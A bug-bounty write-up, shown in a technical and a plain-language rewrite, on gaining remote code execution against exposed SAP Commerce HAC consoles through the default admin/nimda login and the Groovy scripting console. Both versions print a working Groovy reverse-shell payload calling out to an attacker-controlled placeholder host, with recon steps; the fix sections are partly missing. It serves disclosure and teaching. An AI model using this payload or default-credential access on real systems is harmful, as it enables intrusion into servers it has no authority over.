Skip to content
RCE Write-up Beginner

How I got Two RCE at BBP Program @0xbartita

An internet-exposed SAP Commerce administration console (the HAC application) was reachable with the vendor's default admin credentials. Logging in gave access to a Groovy scripting console, which the author used to run commands on the server, achieving remote code execution.

0xBartita Follow

Published on 0xbartita.medium.com

Bug Bounty

0xBartita, on 0xbartita.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

SAP Commerce (formerly Hybris) ships with an administrative web application called HAC, the Hybris Administration Console. The hac extension is the default administration web application of SAP Commerce, and it exposes a login page at a path such as /hac/login/. Once authenticated, HAC provides a scripting console at /hac/console/scripting/ that accepts Groovy scripts and executes them server-side. That console is intended for administrators to run maintenance and diagnostic scripts; in the wrong hands it is a direct path to remote code execution on the application server.

This write-up covers two RCE findings made against a bug bounty program (referred to here as BBP). Both came from the same weakness: an internet-exposed HAC instance still using the default administrative credentials.

Setup

The researcher used two tools:

  1. Shodan, to find hosts belonging to the target.
  2. dirsearch, to enumerate paths on a discovered host.

No account was provisioned on the target. The only precondition for the attack was that the HAC login page was reachable from the internet and that the default credentials had not been changed.

Finding it

The search on Shodan used the following query:

Text
ssl:BBP.com

This returned a host at 40.117.**.*** (the last octets are masked in the write-up). Running dirsearch against that host revealed the HAC login page:

HTTP
http://40.117.**.***/hac/login/

A login form at that path is worth attention because HAC is an administrative interface, not something that should normally be exposed to the public internet. The researcher then searched for the default credentials for this console and found them documented on a public page about the Hybris Administrative Console. The credentials were:

Text
Username: admin
Password: nimda

They worked, and the researcher was logged into the admin panel.

Exploitation

Step 1: Log in with default credentials

With admin / nimda accepted at /hac/login/, the attacker holds an authenticated administrative session on the SAP Commerce instance. No brute force, phishing or vulnerability in the login code was needed; the deployment simply kept the shipped default.

Step 2: Reach the scripting console

While exploring the panel, the researcher found a console tab pointing at:

This page offers a script input that runs Groovy, the scripting language used by the console. Groovy is a JVM language, so a script submitted here runs inside the application server process with the privileges of that process.

Step 3: Execute a reverse shell payload

The researcher submitted the following Groovy code to obtain remote code execution:

Text
String host="Your Ip Here";

int port=Your Port;

String cmd="/bin/bash";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

What the payload does, part by part:

  1. host and port are placeholders for the attacker's listener address; the researcher replaced them with their own IP and port.
  2. new ProcessBuilder(cmd).redirectErrorStream(true).start() starts /bin/bash as a child process of the application server and merges stderr into stdout so both streams can be forwarded.
  3. new Socket(host,port) opens an outbound TCP connection from the server to the attacker's listener.
  4. The while(!s.isClosed()) loop pumps bytes in both directions: process output (pi, pe) is written to the socket, and anything received on the socket (si) is written to the process's stdin. This gives an interactive shell over the socket.
  5. Thread.sleep(50) throttles the loop, and p.exitValue() is used to detect that the shell process has ended and break out. p.destroy() and s.close() clean up.

The result was remote code execution on the SAP Commerce host.

Step 4: Find a second instance

The researcher returned to Shodan, searched for more IPs, and found the same HAC application exposed on another host. This second instance was also reported to the program.

Root cause

Two conditions combine here, and both are deployment mistakes rather than flaws in SAP Commerce itself:

  1. The HAC administrative console was reachable from the internet. HAC is an admin interface and is not meant to be publicly exposed.
  2. The default admin / nimda credentials were still in place, so anyone who found the login page could authenticate.

Once authenticated, the Groovy scripting console is a designed feature that executes arbitrary code by definition, so there is no further barrier between an admin session and code execution. The existing defences, namely authentication and network placement, both failed: the password was the shipped default, and the interface was not restricted to a trusted network.

Impact

An unauthenticated attacker who can reach the HAC login page and knows the default credentials obtains administrative access to the SAP Commerce instance and can run arbitrary Groovy, which means arbitrary commands on the server. In this case the researcher demonstrated a reverse shell. The impact applies to deployments that expose HAC to the internet and have not changed the default password.

Fix

Variants to test

A positive result is a reachable HAC login form on a host belonging to the target. 2. Default credential checks against any administrative console discovered during reconnaissance. A positive result is a successful login with the shipped defaults.

A positive result is any command output returned through the console or an outbound connection to a controlled listener.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

What happened, in plain words

A security researcher was taking part in a bug bounty programme, which is a scheme where a company invites independent testers to look for weaknesses in its systems and pays or thanks them for reporting what they find. The programme in this write-up is referred to as BBP. The researcher found a server belonging to the target running an administrative web page for a product called SAP Commerce, and that page still accepted the factory default username and password. Once logged in, the researcher used a built-in feature of that page to run commands on the server itself. That is called remote code execution, or RCE: the ability to make a machine run code of your choosing from somewhere else. The researcher reported the second instance to the programme as well.

The whole thing rested on two mistakes in how the servers were set up, not on a flaw in SAP Commerce. First, an admin page that should only be reachable from inside a company network was open to the whole internet. Second, the password on that page had never been changed from the one that ships with the product.

Background: what SAP Commerce and HAC are

SAP Commerce, previously known as Hybris, is a large piece of software that companies use to run online shops: product catalogues, prices, orders, customers and so on. Like most big platforms it comes with a web-based control panel for the people who run it.

That control panel is called HAC, short for Hybris Administration Console. It is delivered as an extension named hac, and the write-up describes it as the default administration web application of SAP Commerce. In practice that means: install SAP Commerce in the standard way and this admin application is there, with a login page at a path such as /hac/login/.

Think of it like the settings app on a phone. It is not the thing you show to customers; it is the place where the person in charge changes how everything behaves. Nobody should be able to open it from a random internet connection.

After logging in, HAC offers a scripting console at /hac/console/scripting/. A scripting console is a text box where you type a small program and the server runs it immediately. The language this console accepts is Groovy, a programming language that runs on the Java virtual machine (the environment most large business software is built on). Because the script runs inside the application server process, it runs with that process's permissions. That is exactly what makes the console useful to an administrator doing maintenance, and exactly what makes it dangerous in the wrong hands: there is no further barrier between an admin login and running arbitrary code.

The tools used

The researcher used two tools, and neither required an account on the target.

  1. Shodan. Shodan is a search engine for internet-connected devices and services rather than for web pages. It continuously scans the internet and records what each address answers, so you can search for things like a product name, a certificate or a domain. It is how you find machines that are exposed without having to guess addresses one by one.
  2. dirsearch. dirsearch is a tool that tries a long list of common folder and file names against a website and reports which ones exist. Websites often have pages that are not linked from the front page, and this kind of guessing, called directory enumeration, surfaces them.

The only precondition for the attack was that the HAC login page could be reached from the internet and that its default credentials had not been changed.

Finding the first server

The researcher searched Shodan with this query:

Text
ssl:BBP.com

This asks Shodan for hosts whose TLS certificate mentions BBP.com. TLS is the encryption layer behind the padlock in your browser, and certificates often carry the organisation's domain name, which makes them a handy way to find a company's machines. The search returned a host at 40.117.**.***; the last parts of the address are masked in the write-up.

With an address in hand, the researcher ran dirsearch against it. That revealed a login page at:

HTTP
http://40.117.**.***/hac/login/

A login form at that path deserves attention because HAC is an administrative interface. Finding one on a public address is like finding the staff entrance of a shop standing open onto the pavement: it may be legitimate, but it should not normally be there.

Getting in with the default password

The researcher then looked up the default credentials for this console and found them documented on a public page about the Hybris Administrative Console. They were:

Text
Username: admin
Password: nimda

They worked, and the researcher was logged into the admin panel.

This is the heart of the first finding. No password guessing, no tricking an employee, no bug in the login code: the deployment had kept the username and password that the product ships with, and those are published for anyone to read. A default password is like a new house key that is the same for every house on the street; the moment somebody writes down the shape, every door opens.

Using the scripting console

While exploring the panel, the researcher found a console tab pointing at:

This page offers a script input box that runs Groovy. The researcher submitted the following Groovy code to obtain remote code execution:

Text
String host="Your Ip Here";

int port=Your Port;

String cmd="/bin/bash";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

This kind of payload is called a reverse shell. A normal shell is a command prompt on a machine. A reverse shell is one where the compromised machine makes the connection out to the attacker instead of the attacker connecting in, which often slips past firewalls because outgoing connections are usually allowed. Here is what each part does:

  1. String host="Your Ip Here"; and int port=Your Port; are placeholders. The researcher replaced them with their own address and a port number where a listener was waiting. A port is a numbered channel on a machine, so one address can host many services at once.
  2. String cmd="/bin/bash"; names the program to start: bash, the standard command interpreter on Linux.
  3. new ProcessBuilder(cmd).redirectErrorStream(true).start() starts bash as a child process of the application server. redirectErrorStream(true) merges the program's error output into its normal output, so both can be forwarded through one channel instead of two.
  4. new Socket(host,port) opens an outgoing network connection from the server to the researcher's listener. A socket is one end of a two-way conversation between two programs over a network.
  5. The long while(!s.isClosed()) loop is the pump. pi and pe are the bash process's normal and error output; si is what arrives from the socket. Inside the loop, whatever bash produces is written to the socket (so.write(...)), and whatever arrives on the socket is written into bash's input (po.write(...)). The effect is that typing on the researcher's side appears as typing at the server's command prompt, and the server's replies come back the same way. That is an interactive shell over the network.
  6. Thread.sleep(50) pauses 50 milliseconds each round so the loop does not spin at full speed. p.exitValue() throws an error while bash is still running and returns a value once it has finished; the try/catch uses that to break out of the loop when the shell ends. Finally p.destroy() and s.close() shut the process and the connection down cleanly.

The result was remote code execution on the SAP Commerce host: the researcher could run commands on the server.

Finding the second server

The researcher went back to Shodan, searched for more addresses, and found the same HAC application exposed on another host. That second instance was reported to the programme as well, which is where the two RCE findings in the title come from.

Why it worked

Two conditions had to line up, and both are deployment mistakes rather than flaws in SAP Commerce itself:

  1. The HAC administrative console was reachable from the internet. It is an admin interface and is not meant to be publicly exposed.
  2. The default admin / nimda credentials were still in place, so anyone who found the login page could get in.

Once inside, the Groovy console is a designed feature that runs arbitrary code by definition, so nothing else stands between an admin session and code execution. The two defences that should have stopped this, a password and network placement, both failed: the password was the shipped default, and the interface was not restricted to a trusted network.

What the impact is

An attacker who can reach the HAC login page and knows the default credentials gets administrative access to the SAP Commerce instance and can run arbitrary Groovy, which means arbitrary commands on the server. In this case the researcher demonstrated a reverse shell. The impact applies to deployments that expose HAC to the internet and have not changed the default password.

How to fix it

Things to try yourself

A positive result is a reachable HAC login form on a host belonging to the target. 2. Check default credentials against any administrative console you discover during reconnaissance. A positive result is a successful login with the shipped defaults.

A positive result is any command output returned through the console or an outbound connection to a listener you control.

Glossary

  • Bug bounty programme: a scheme where an organisation invites outside testers to find and report security weaknesses, usually with a reward.
  • RCE (remote code execution): the ability to make a remote machine run code or commands of your choosing.
  • SAP Commerce (Hybris): a large software platform companies use to run online shops and related business processes.
  • HAC (Hybris Administration Console): the built-in web control panel of SAP Commerce, delivered as the hac extension, used by administrators.
  • Extension: a packaged add-on that plugs extra functionality into a larger product; hac is one of SAP Commerce's.
  • Groovy: a programming language that runs on the Java virtual machine, used by the HAC scripting console.
  • Java virtual machine (JVM): the environment that runs Java-based software; code executed there runs inside the application server process.
  • Scripting console: a web page with a text box where you type a small program and the server runs it immediately.
  • Shodan: a search engine that indexes internet-connected devices and services by what they respond, rather than indexing web pages.
  • dirsearch: a tool that tries many common folder and file names against a website to discover hidden paths.
  • Directory enumeration: the practice of guessing folder and file names on a web server to find pages that are not linked publicly.
  • TLS certificate: the data behind the padlock in a browser, which proves a site's identity and often contains its domain name.
  • Default credentials: the username and password a product ships with, which are published and must be changed on installation.
  • Admin panel: a web interface for managing a system, intended for staff rather than the public.
  • Reverse shell: a command prompt on a compromised machine that connects out to the attacker instead of the attacker connecting in.
  • Shell: a program that reads commands you type and runs them, such as bash on Linux.
  • Port: a numbered channel on a machine, allowing one address to host several services at once.
  • Socket: one end of a two-way network conversation between two programs.
  • Payload: the piece of code or data that actually carries out an attack once a weakness is reached.
  • Reconnaissance: the information-gathering phase of a test, finding hosts, paths and services before attacking anything.

More by 0xBartita

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.